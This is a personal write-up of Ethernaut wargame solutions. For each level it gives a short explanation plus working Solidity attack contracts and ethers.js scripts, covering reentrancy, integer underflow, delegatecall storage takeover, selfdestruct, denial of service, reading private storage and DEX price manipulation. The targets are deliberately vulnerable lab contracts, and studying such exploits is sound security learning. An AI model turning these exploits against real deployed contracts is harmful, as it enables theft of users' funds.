Exploits and explanations of ethernaut solutions as of Decemeber 2022. Checkout the code at my solution’s repo

P.S. Do not expect detailed description. You can most probably find articles with in-depth details out there somwhere.

hello ethernaut

Follow the instructions


fallback

Goal is to become owner and drain all funds. Well you can obviously drain all the funds using withdraw() once you are the owner.

owner is only being updated in the receive() which is triggered if we send some ether to contract directly, but it has a check for contribution.

To clear this level

  • trigger contribute with 0.001 ether
  • send some ether directly (as there is a check on msg.value as well) from metamask (or however you want)
  • trigger withdraw

fallout

This contract is compiled in 0.6.0 and as you can notice after enough staring at the code that the contract name and contructor name are different (Fallout and Fal1out). Just trigger the constructor (in this case it acts like just another public function without any checks) again.


coin flip

Goal is to get 10 consecute flips accurate. Blockchain being a deterministic system. It’s not possible to get randomness and all that jing-bang with block number and block hash is futile

Contract with the below function easily “predicts” the flip and calls the contract’s flip

function callFlip() public {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;

    uint256 guess = blockValue.div(FACTOR);
    bool side = guess == 1 ? true : false;
    coinFlip.flip(side);
  }

telephone

This challenge is again straightforward. When a contract function is triggered by another contract, tx.origin is the address of EOA which initiates the tx and tx.sender is the address of the caller contract.

To solve this, just create a new contract and call changeOwner


import "../telephone/Telephone.sol";

contract TelephoneHack {

    Telephone telephone;
    constructor(address telephoneAddress) {
        telephone = Telephone(telephoneAddress);
    }
    function changeOwner() public {
        telephone.changeOwner(msg.sender);
    }
}

token

First thing to notice is the compiler version, it is 0.6.0 which is pre 0.8.0 overflow underflow checks and since there is no SafeMath library used, it is vulnerable to the attack.

There is no goal mentioned, we can assume the goal is to transfer all the balances to player. It’s a small contract with the only non-view function exposed transfer.

solidity integer overflow and underflow

You have an initial 20 tokens. You can check this with await token.totalSupply(). To get all the remaining tokens. You need to underflow the contract i.e, trigger transfer with the value 21 so that balances[msg.sender] -= _value; will be 20 - 21 => 2^256 - 1

const tx = await token.transfer(ethers.constants.AddressZero, ethers.utils.parseEther("21"));
await tx.wait()
console.log(await token.balanceOf(owner.address));

delegation

Delegate calls executes functions of other contract in the context of the caller contract. It’s like borrowing logic for execution. If that logic changes the storage, it’s changing the storage of the caller contract.

In this level both Delegation and Delegate have owner in their first storage slot, pwn in delegate is a public function with no access control. Calling pwn from Delegation using delegate will change the storage slot of Delegation using the execution logic Delegate (no access control).

let delegate = await Delegate.attach(INSTANCE_ADDRESS);
const tx = await delegate.pwn();
await tx.wait();

force

Goal is to force some ether in the contract. As you can see the contract has no receive implmeneted, we can not send the ether directly. Here comes the interesting part, to send eth to a contract adress there are three ways

  • constructor while deploying the contract
  • send via transfer or call if receive is implemented
  • selfdestruct another contract with the beneficiary as the contract you’d like to force

selfdestruct doesn’t check if the receive is implemented or not. Contract will have to accept the ether. We’ll use this one

Deploy a new contract and destruct it with the beneficiary as the instance address

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract ForceHack {
    constructor() payable {}
    function destruct(address payable forceAddress) public {
        selfdestruct(forceAddress);
    }
}

in the javascript

const force = Force.attach(INSTANCE_ADDRESS);
const forceHack = await ForceHack.deploy({ value: 1 });
await forceHack.deployed()
console.log(await ethers.provider.getBalance(forceHack.address));

const tx = await forceHack.destruct(force.address);
await tx.wait();
console.log(await ethers.provider.getBalance(force.address));

vault

private keyword only restricts visibility of a variable from other smart contracts not from the external world. Blockchain data is public be it public, private or constant. To unlock the vault we need to access the the storage slot which stores password

1st slot will have bool locked (slot id 0x0)

2nd slot is the password (slot id 0x1)

const storage = await ethers.provider.getStorageAt(vault.address, "0x1", "latest");
const tx = await vault.unlock(storage);

king

Things to notice here

  • external call using transfer in receive doesn’t check the return response.
  • to become the king you need to send some eth to this contract
  • next user sending eth to this contract will trigger a transfer to the existing king

Since there is no response check or try / catch in the external call. It can be blocked by reverting everytime and render the contract unusable. This is called Denial of Service attack.

To clear this level. We need to implement a new contract (KingAttack contract) and send some ether to King contract from the KingAttack contract which will make the KingAttack new king.

KingAttack should revert on receive to make the King contract unusable

contract KingAttack {
    function sendPayment(address king) external payable {
        (bool success, ) = payable(address(king)).call{value: msg.value}("");
        require(success, "External call success");
    }
    receive () external payable {
        require(!true, "Ha Ha Ha");
    }
}
const tx = await kingAttack.sendPayment(king.address, {value: hre.ethers.utils.parseEther("0.002")});

0.002 because the value should be more than or equals current prize


reentrancy

As the name states this is a simple reentrancy problem.

What is a Reentrancy Attack by Certik

In this challenge, (bool result,) = msg.sender.call{value:_amount}(""); allows the receiver to reenter using receive fallback. As you can see the balances are updated after the call, we can trigger the withdraw again

contract ReentranceHack {
    address public instanceAddress;
    constructor(address instance) {
        instanceAddress = instance;
    }
    function withdraw() public {
        IReentrance(instanceAddress).withdraw(0.0005 ether);
    }
    receive() external payable {
        IReentrance(instanceAddress).withdraw(0.0005 ether);
    }
}
tx = await reentrance.donate(reentranceHack.address, {value: hre.ethers.utils.parseEther("0.0005")})
await tx.wait();

tx = await reentranceHack.withdraw();
await tx.wait();

console.log(await ethers.provider.getBalance(reentrance.address));

elevator

The goal is to reach the top, i.e. boolean value for top should be true. The only public function is goTo. The challenge also has an interface for Building. We need to deploy a Building contract which satisfies the conditions in the goTo and make us reach at the top.

There are 2 calls to building contract and an interesting thing to notice is that the call isLastFloor is a non-view call, meaning we change the state inside the Building contract between the two subsequent calls. This makes our life easy

contract BuildingHack is Building {
    bool step = false;
    function isLastFloor(uint) external returns (bool) {
        bool prevStep = step;
        step = !prevStep;
        return prevStep;
    }

    function goTo(address elevatorAddress) public {
        Elevator elevator = Elevator(elevatorAddress);
        elevator.goTo(0);
    }
}
const BuildingHack = await hre.ethers.getContractFactory("BuildingHack");
const building = await BuildingHack.deploy();
await building.deployed()

console.log(`building deployed on ${building.address}`);

const tx = await building.goTo(INSTANCE_ADDRESS);
await tx.wait()
console.log(await elevator.top());

privacy

This challenge is very similar to the challenge vault. Only difference is, this challenge requires some knowledge of how evm packs data while storing and how an array is stored.

How to read Ethereum contract storage

Let’s go through the contract and how the data will be stored.

bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;
  • locked will be stored in the first slot 0x0
  • uint256 is 32 bytes and cannot be stored in the first slot so ID will take 0x1
  • Next 3 variables are uint8, uint8 and uint16 respectively totalling upto 32 bytes. All these variables will be packed in slot 0x2
  • data is an array of bytes32 elements and will fill slot from 0x3 to 0x5

To unlock the contract we need to get the last element of data array which is stored in slot 0x5, trim it to 16 bytes and trigger the unlock

data = await ethers.provider.getStorageAt(INSTANCE_ADDRESS,"0x5","latest");

Rest I beleive is quite striaghtforward


gatekeeperone

This level is tricky, especially the gate number 1 and still wip. Will fill in the details later


gatekeepertwo

The goal is set entrant as the player’s address via enter, which is protected by three modifiers or gates. Let’s talk about each one of them individually

gateOne => To clear this gate msg.sender and msg.origin should be different, meaning the call should come from a smart contract rather than EOA.

gateTwo => To clear this gate the code size of the smart contract calling this function should be zero. Smart contract at the time of creation do not have code stored in the blockchain. It’s only after the constructor call is done, smart contract have a runtime bytecode. We should trigger the function during the creation step.

gateThree => This gate looks tricky but actually is not. RHS is just 0x111…11 (32 bytes) the max value of uint256. LHS is bitwise OR of _gateKey typecasted as uint64 and some operation of msg.sender which can be calculated easily.

  • Things to note here is that msg.sender is the smart contract not the player’s address

Let’s do some maths, assume the equation is a ^ b == c where c is 1111 (4 bits instead of 64*8) and a is known. we need b such that the above equation is true. XOR operation (^) gets 1 if exactly one of the two values are 1, which means if a is 0101, b should be 1010, if a is 0000 b should be 1111. Conclusion b has to be flipped bits of a which is a bitwise not operation.

Since b in uint64(_gateKey) we can set it as the ~a (NOT operator)

contract GatekeeperTwoHack {
  constructor(address instance) {
    bytes8 _gateKey = ~bytes8(keccak256(abi.encodePacked(address(this))));
    GatekeeperTwo gatekeeper = GatekeeperTwo(instance);
    gatekeeper.enter(_gateKey);
  }
}

Simply deploy this contract to clear the level


naught coin

The contract inherits OZ’s ERC20 meaning all the public functions are available to us. There are two ways to transfer in ERC-20

  • via transfer funtion which is blocked via modifier
  • via transferFrom which is can be triggered by some address (spender) with the appropriate allowance and as we can see there is no checks on approve and transferFrom. We can exploit the contract using this.

Give allowance of all the tokens to an address or a contract and trigger transferFrom

 contract NaughtCoinHack {
  
  function transfer(address instance) public {
    NaughtCoin coin = NaughtCoin(instance);
    uint256 INITIAL_SUPPLY = 1000000 * (10**uint256(18));
    coin.transferFrom(msg.sender, address(this), INITIAL_SUPPLY);
  }
}
let tx = await naughtCoin.approve(naughtCoinHack.address, hre.ethers.utils.parseEther("1000000"));
await tx.wait();
tx = await naughtCoinHack.transfer(INSTANCE_ADDRESS);
await tx.wait();
console.log(await naughtCoin.balanceOf(owner.address));

preservation

Interesting challenge!

The goal is simple, to take the ownership of the contract. We see two public functions setFirstTime and setSecondTime, both delegating calls to LibraryContract. As we know delegate calls are executed in the context of calling of contract (Delegation challenge above) and it poses a risk of storage manipulation.

In Preservation contract first storage slot is occupied by timeZone1Library address and in the LibraryContract first slot in storedTime which can be set by setTime.

Delegating setTime from Preservation contract changes the first slot of the Preservation, meaning we can store anything there. This gives a hint that if we can store anything in the first slot using a poorly written contract and a delegate call, we can also change slot 3 which is owner using similar techniques. To clear this level we need to

  • inject a custom smart contract address in the first slot and make it timeZone1Library
  • the custom smart contract should have a setTime function
  • then call setFirstTime and update the third slot with player’s address
contract LibraryContractHack {
    // stores a timestamp
    uint256 dummya;
    uint256 dummyb;
    uint256 storedTime;

    function setTime(uint256 _time) public {
        storedTime = _time;
    }
}

This contract is using 3 storage slots and setTime is manipulating the third one which is owner in Preservation. Instead of using js, I simply created a new contract to make the contract calls (I hate doing type manipulation in javascript)

contract PreservationHack {
    Preservation preservation;

    constructor(address instance) {
        preservation = Preservation(instance);
        LibraryContractHack libHack = new LibraryContractHack();
        preservation.setFirstTime(uint256(uint160(address(libHack))));
        preservation.setFirstTime(uint256(uint160(msg.sender)));
    }
}

Deploying this contract will clear the level. Things to notice here is that addresses needs to be typecasted in uint256 both times, for obvious reasons and since all this happens in a single transaction we didn’t even need setSecondTime


recovery

This is way too easy. Get the newly created contract address from the transaction of creating new level instance using some transaction explorer (etherscan) and trigger destroy

const tx = await simpleToken.destroy(owner.address);
await tx.wait()

magic number

This one is interesting. What is the meaning of life is a reference from the book Hitchhiker’s guide to galaxy or h2g2 for short. Problem is simple, create a contract which returns 42 and has 10 bytes at max.

Resources that helped me

In solidity this might be the simplistic solution, even this has 90 instructions! Try compiling it in remix

contract Solve {
    function solve () external returns(uint256) {
        return 42;
    }
}

We need to manually write the contract

// storing 42 in memory...

PUSH1(0x60) 0x2a  -> 0x602a // push 42 in stack
PUSH1(0x60) 0x80  -> 0x6080 // push a location for 42 to be stored
MSTORE(0x52)      -> 0x52 // store 42 in 0x80

// returning 42 from memory...

PUSH1(0x60) 0x20  -> 0x6020 // push length of the return value (32 bytes)
PUSH1(0x60) 0x80  -> 0x6080 // push location of the return value
RETURN(0xf3)      -> 0xf3 // return 42

0x602a60805260206080f3 // runtime opcodes

Next part is to deploy this contract. constructor call returns the runtime opcodes while creating a contract.

contract MagicNumHack {
    constructor() public {
        assembly {
            mstore(0x00, 0x602a60805260206080f3) // store the runtime opcodes in memory location 0x00
            return(0x16, 0x0a) // return the runtime opcodes with parameters offset and size
        }
    }
}
const MagicNumHack = await hre.ethers.getContractFactory("MagicNumHack");
const magicHack = await MagicNumHack.deploy();
await magicHack.deployed();

await magic.setSolver(magicHack.address)

Phew!


alien codex

Goal is to become owner, which is slot 0x2 as 0x0 has the bool contact and 0x1 has the size of dynamic array.

Check out Mappings and Dynamic Arrays for understanding on why size is stored and the upcoming reasonings

Things to notics

  • solidity version is 0.5.0
  • retract is interesting. we can manipulate the size of dynamic array
  • revise has no checks. we can update any index of array

Exploit works by triggering the make_contact, underflowing the length of array via retract and finally revising the slot storing owner. First 2 steps are stiaght forward, to find the storage location we need to understand the storage rules of dynamic array.

First element will be stored in keccack256(1), 1 being the slot number and rest all will be sequentially stored. After the storage is filled, storage index will roll up because of overflow

0x0           0x00000....01
0x1           0x111111...11         <- size of array
0x2           0x<owner_address>
0x3           0x0000.....00
0x4           0x0000.....00
..
..
0x??          0x0000.....00         <- first element somewhere keccack(1) -
0x??          0x0000.....00         <- second element                      |
..                                                                         | number of elements + 2 is the location
..                                                                         |
0x111...11111 0x0000.....00         <- 2^256th slot                       -

To get the location we’ll substract 0x11111..1111 - keccack(1) location of first element and add 1. Then simply trigger revise.

contract AlienCodexHack {
  AlienCodex  alienCodex;

  constructor (address instance) public {
    alienCodex = AlienCodex(instance);
    alienCodex.make_contact();
    alienCodex.retract();
    uint256 MIN;
    uint256 MAX = ~MIN;
    uint256 loc = MAX - uint256(keccak256(abi.encode(1))) + 1;
    alienCodex.revise(loc, bytes32(bytes20(address(msg.sender))) >> 96);
  }
}
const AlienCodexHack = await hre.ethers.getContractFactory("AlienCodexHack");
const alienCodexHack = await AlienCodexHack.deploy(alienCodex.address)
await alienCodexHack.deployed()
console.log(await alienCodex.owner())

denial

The goal is to render this contract unusable.

First thing to notice here is that we can set partner and there is not check that if partner is not a smart contract. This is can used later on. Moving on, there is no return value check after call partner.call{value:amountToSend}(""); and it is a low level call which continues even after revert. So we can not simply revert the transaction.

Only way is to run the tranasction out of gas everytime. There are multiple ways to do that

contract DenialHack {

    Denial denial;
    constructor (address instance) {
        denial = Denial(payable(instance));
        denial.setWithdrawPartner(address(this));
       
    }
    // allow deposit of funds
    receive() external payable {
        payable(address(denial)).call{value:msg.value}("");
        denial.withdraw();
    }
}
const DenialHack = await hre.ethers.getContractFactory("DenialHack");
const denialHack = await DenialHack.deploy(denial.address);
await denialHack.deployed();

shop

The goal is to set price different from what is defined in the contract after the sell. This challenge is very similar to the elevator challenge.

We need to implement a Buyer contract which returns different prices on subsequent price calls. But since price is a view call, we can not change state in the Buyer like we did in elevator. We’ll check isSold and manipulate prices basis on the value

contract BuyerHack is Buyer {
    Shop shop;

    constructor(address instance) {
        shop = Shop(instance);
        
    }

    function buy() public {
        shop.buy();
    }

    function price() public view returns (uint256) {
        if (shop.isSold()) {
            return 1;
        }
        return shop.price();
    }
}
const BuyerHack = await hre.ethers.getContractFactory("BuyerHack");
const buyerHack = await BuyerHack.deploy(INSTANCE_ADDRESS);
await buyerHack.deployed();
const tx = await buyerHack.buy();

dex

Goal is to drain 1 of the 2 tokens completely. After staring at the contract for a lot of time, I couldn’t come up with any security flaw (solidity wise). I started triggering the swaps in the hope of finding out something new

await token1.approve(dex.address, 10);
tx = await dex.swap(token1.address, token2.address, 10);

and then it clicked!! there is no invariant on getSwapPrice, everytime you perform swaps the prices will skew. Doing this few times get you the desired result

await token1.approve(dex.address, 10)
tx = await dex.swap(token1.address, token2.address, 10);

await token2.approve(dex.address, 20)
tx = await dex.swap(token2.address, token1.address, 20);

await token1.approve(dex.address, 24)
tx = await dex.swap(token1.address, token2.address, 24);

await token2.approve(dex.address, 30)
tx = await dex.swap(token2.address, token1.address, 30);

await token1.approve(dex.address, 41)
tx = await dex.swap(token1.address, token2.address, 41);


await token2.approve(dex.address, 45)
tx = await dex.swap(token2.address, token1.address, 45);

dex2

The goal is here is to drain both the tokens. The difference between dex and dex2 is that there is no check for Invalid Tokens. This makes life easier.

To clear this level we can deploy new token and manipulate prices to drain the actual tokens.

contract SwappableTokenTwoHack is ERC20 {
  address private _dex;
  constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
  }

  function mint(uint256 amount) public {
     _mint(msg.sender, amount);
  }
}
  • deploy SwappableTokenTwoHack and transfer 10 to dex and 10 to player initially
let SwappableTokenTwoHack = await hre.ethers.getContractFactory("SwappableTokenTwoHack");

SwappableToken = SwappableToken.connect(player)
SwappableTokenTwoHack = SwappableTokenTwoHack.connect(player)
let dummyToken = await SwappableTokenTwoHack.deploy(dex.address, "DM", "DM", 20);
await dummyToken.deployed();

dex = dex.connect(player)
token1 = token1.connect(player)
token2 = token2.connect(player)
dummyToken = dummyToken.connect(player)

tx = await dummyToken.transfer(dex.address, 10)
await tx.wait()
tx = await dummyToken.transfer(player.address, 10)
await tx.wait()
await (await dummyToken.approve(dex.address, 10)).wait()

tx = await dex.swap(dummyToken.address, token2.address, 10);
await tx.wait()

await (await dummyToken.mint(20)).wait()
await (await dummyToken.approve(dex.address, 20)).wait()

tx = await dex.swap(dummyToken.address, token1.address, 20);
await tx.wait()

puzzle wallet

The goal is to become the proxy admin. PuzzleProxy has proposeNewAdmin function public without any checks. We can become pendingAdmin via this, but how does it help us. Recall that delegate function executes logic of another contract in the context of the proxy contract. By setting pendingAdmin as the player’s address, we can access owner role in the PuzzleWallet

Which gives access to addToWhitelist. Call addToWhitelist via delegate from Proxy contractand add player as whitelisted address. Now we can call setMaxBalance but there is a requirement of balance to be zero.

Balance can only be drained from execute which requires sender to deposit some funds. We need to trick the contract into mapping more balance to player’s address than it actually is and drain all the funds. deposit is pretty striaghtforward. multicall is the only one left. We can call deplosit twice via multicall even though it has a check, of require(!depositCalled, "Deposit can only be called once"); via wrapping our second deposit call inside a multicall.

Then we simply drain the funds and call setMaxBalance with value set to player’s address (with a slight bit manipulation)

contract WalletAttack {
    PuzzleProxy proxy;
    PuzzleWallet wallet;
    constructor(address instance) payable {
        proxy = PuzzleProxy(payable(instance));
        wallet = PuzzleWallet(instance);

        proxy.proposeNewAdmin(address(this));
        wallet.addToWhitelist(address(this));
        
        bytes[] memory data = new bytes[](2);
        data[0] = abi.encodeWithSignature("deposit()");

        bytes[] memory nestedDeposit = new bytes[](1);
        nestedDeposit[0] = abi.encodeWithSignature("deposit()");

        data[1] = abi.encodeWithSignature("multicall(bytes[])", nestedDeposit);
        wallet.multicall{value: 0.001 ether}(data);
        wallet.execute(address(this), 0.002 ether, "");
        uint256 maxBalance = uint256(bytes32(bytes20(address(msg.sender))) >> 96);
        wallet.setMaxBalance(maxBalance);
        
    }
    receive() payable external {}
}
const attack = await WalletAttack.deploy(INSTANCE_ADDRESS, {value: ethers.utils.parseEther("0.001")})
await attack.deployed();
console.log(await proxy.admin());

motorbike

Goal is to selfdestruct the engine. Implementation contract (Engine) has couple of storage variables upgrader and horsepower. One interesting function here is upgradeToAndCall which has a delegate call. This gave me idea to create a new contract with selfdestruct has delegate call to selfdestruct, but before that we need to become upgrader. Since initialize is called from Motorbike, upgrader and horsePower are stored in storage layout of Motorbike not Engine.

We can get the engine’s address, call initialize again to become upgrader and rest is easy.

contract EngineAttack {
    function destruct(address payable to) external {
        selfdestruct(to);
    }
}
storage = await ethers.provider.getStorageAt(INSTANCE_ADDRESS, "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc", "latest");

logicAddress = `0x${storage.slice(2).slice(24, 64)}`;

engine = Engine.attach(logicAddress);

tx = await engine.initialize();
await tx.wait()

const EngineHack = await hre.ethers.getContractFactory("EngineAttack");
engineHack = await EngineHack.deploy()
await engineHack.deployed()


tx = await engine.upgradeToAndCall(engineHack.address, EngineHack.interface.encodeFunctionData('destruct', [owner.address]))
await tx.wait();

double entry point

This challenge has a bunch of contracts. After enough staring, I understood what’s happening and after checking the validation code from ethernaut’s repository, clearing this challenge was pretty easy.

Create a Bot which raises alert regardless of the call and that’s it.

contract Bot is IDetectionBot {
    function handleTransaction(address user, bytes calldata msgData) external {
        Forta forta = Forta(msg.sender);
        forta.raiseAlert(user);
    }
}
const Bot = await hre.ethers.getContractFactory("Bot");
bot = await Bot.deploy()
await bot.deployed();

dep = DoubleEntryPoint.attach(INSTANCE_ADDRESS);
forta = Forta.attach(await dep.forta());

tx = await forta.setDetectionBot(bot.address); 
await tx.wait()

good samaritan

Goal is to drain the funds from Wallet

wallet’s transferRemainder transfers all the tokens but is only called when player request donation via requestDonation and wallet raises NotEnoughBalance() error.

The error is raised only when balance of coin is less than 10. To drain funds we need to raise the error even when the funds are not less than 10.

If tokens are not less than 10, Coin contract notify the requesting address if the that address is a contract. We can use this external call to game the contract.

We can create a new contract to request donation which reverts on notify but it won’t work because even transferRemainder will trigger notify, we shouldn’t throw error at this point otherwise the transaction will revert. To bypass this issue, I checked the amount being transfered and selectively throw error.

contract SamaritanHack is INotifyable{
    error NotEnoughBalance();
    function notify(uint256 amount) external {
        if(amount == 10){
            revert NotEnoughBalance();
        } 
    }

    function requestDonation(address instance) external {
        GoodSamaritan sm = GoodSamaritan(instance);
        sm.requestDonation();
    }
}
const SamaritanHack = await hre.ethers.getContractFactory("SamaritanHack");
samaritanHack = await SamaritanHack.deploy()
await samaritanHack.deployed()

tx = await samaritanHack.requestDonation(goodSamaritan.address)
await tx.wait()


Thanks for reading. Hmu @0xsomesh if you would like to discuss security, get a second opinion on a smart contract or any doubts regarding the ethernaut challenges and my solutions. Happy hacking!